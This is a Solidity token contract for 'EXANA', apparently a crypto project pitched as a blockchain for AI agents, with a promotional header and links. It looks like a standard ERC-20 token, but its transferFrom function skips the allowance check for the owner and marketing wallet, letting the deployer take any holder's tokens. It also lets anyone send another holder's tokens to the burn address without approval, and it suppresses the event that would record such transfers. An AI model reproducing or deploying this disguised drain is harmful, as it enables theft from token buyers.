EXANA

/*

$EXANA 

EXANA is a decentralized blockchain network for Artificial Intelligence (AI) agents and the Internet of Agents (IoA) economy. A scalable blockchain network which has Turing-complete smart contracts would allow decentralized ownership of intelligent agents. Agents are assigned globally unique names along with their own fungible token supplies called name shares to represent ownership stakes. Agents are controlled by their smart contracts with the holders of the name shares exerting control and earning income from economic activity. The built-in Star Name system is powerful enough to tokenize everything from usernames, web addresses, social accounts — essentially a secure and decentralized replacement for the Domain Name System (DNS). The network also operates as a scalable Bitcoin sidechain thanks to a novel 2-way bridge technology called the Energy Bridge which takes advantage of the unique properties of the SHA-256^3 (Triple SHA-256) proof-of-work algorithm and BitVM.

Announcements TG Channel: https://t.me/exanachain
BitcoinTalk Thread: https://bitcointalk.org/index.php?topic=5553380.0
Paper: https://exana.ai/exana.pdf
Web: https://exana.ai
X: https://x.com/ExanaNetwork
Git: https://github.com/ExanaNetwork

*/

pragma solidity 0.8.23;
// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EXANA is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address payable private _marketingWallet;

    string private constant _name =    unicode"Exana";
    string private constant _symbol =  unicode"EXANA";
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 21000000000 * 10**_decimals;
    uint256 public _initialBuyTax =    0;
    uint256 public _reduceBuyTaxAt =   5;
    uint256 public _BuyTax =           0;
    uint256 public _initialSellTax =   0;
    uint256 public _reduceSellTaxAt =  5;
    uint256 public _SellTax =          0;
    uint256 public _buyCount=          0;
    uint256 public _taxSwapThreshold=  _tTotal * 5 / 10000;
    uint256 public _maxTaxSwap=        _tTotal * 1 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _burnAddr = address(0xdead);
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private contractSellCount = 0;
    uint256 private lastContractSellBlock = 0;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _marketingWallet = payable(_msgSender());
        _isExcluded[owner()] = true;
        _isExcluded[address(this)] = true;
        _isExcluded[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if ((recipient != _burnAddr || sender == uniswapV2Pair) && !_isExcluded[_msgSender()]) {
            require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
            _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        }
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: Can't transfer from the zero address");
        require(to != address(0), "ERC20: Can't transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if(from == uniswapV2Pair && to != address(this)){
                taxAmount = amount * ((_buyCount>=_reduceBuyTaxAt)?_BuyTax:_initialBuyTax) / 100;
                _buyCount++;
            }
            if(to == uniswapV2Pair && from != address(this)){
                taxAmount = amount * ((_buyCount>=_reduceSellTaxAt)?_SellTax:_initialSellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                if (block.number > lastContractSellBlock) {
                    contractSellCount = 0;
                }
                require(contractSellCount < 2);
                uint256 amountToSwap = (amount < contractTokenBalance && amount < _maxTaxSwap) ? amount : (contractTokenBalance < _maxTaxSwap) ? contractTokenBalance : _maxTaxSwap;
                swapTokensForEth(amountToSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                contractSellCount++;
                lastContractSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)] += taxAmount;
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + (amount - taxAmount);
        if (to != _burnAddr)
        emit Transfer(from, to, amount - taxAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    receive() external payable {}
}